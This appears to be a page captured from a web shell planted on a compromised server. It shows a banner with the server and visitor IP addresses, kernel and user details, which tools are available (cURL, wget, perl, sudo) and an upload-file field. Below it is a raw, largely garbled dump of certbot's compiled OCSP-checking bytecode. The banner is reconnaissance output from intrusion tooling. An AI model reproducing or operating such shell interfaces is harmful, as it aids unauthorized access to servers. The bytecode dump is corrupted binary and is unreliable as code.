| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/python3/dist-packages/certbot/__pycache__/ |
Upload File : |
a
�`�: � @ sp d Z ddlmZ ddlmZ ddlZddlZddlmZ ddlmZ ddlm Z ddl
mZ dd l
mZ dd
l
mZ ddlmZ ddlmZ ddlZddlZdd
lmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ zddlm Z e!e j"d� W n e#e$f�y( dZ Y n0 e�%e&�Z'G dd� de(�Z)dd� Z*dd� Z+dd� Z,dd� Z-d d!� Z.dS )"z*Tools for checking certificate revocation.� )�datetime)� timedeltaN)�PIPE)�Popen)�x509)�InvalidSignature)�UnsupportedAlgorithm)�default_backend)�hashes)�
serialization)�Optional)�Tuple)�crypto_util)�errors)�util)�getenv)�
RenewableCert)�ocsp�signature_hash_algorithmc @ s4 e Zd ZdZd
dd�Zdd� Zddd �Zd
d� ZdS )�RevocationCheckerzEThis class figures out OCSP checking on this system, and performs it.Fc C s~ d| _ |pt | _| jrzt�d�s6t�d� d| _ d S tg d�ttdt� � d�}|�
� \}}d|v rpdd � | _n
d
d � | _d S )NF�opensslz-openssl not installed, can't check revocationT)r r �-header�var�val)�stdout�stderrZuniversal_newlines�envz Missing =c S s
d| gS )NzHost=� ��hostr r �./usr/lib/python3/dist-packages/certbot/ocsp.py�<lambda>: � z,RevocationChecker.__init__.<locals>.<lambda>c S s d| gS )NZHostr r r r r r! <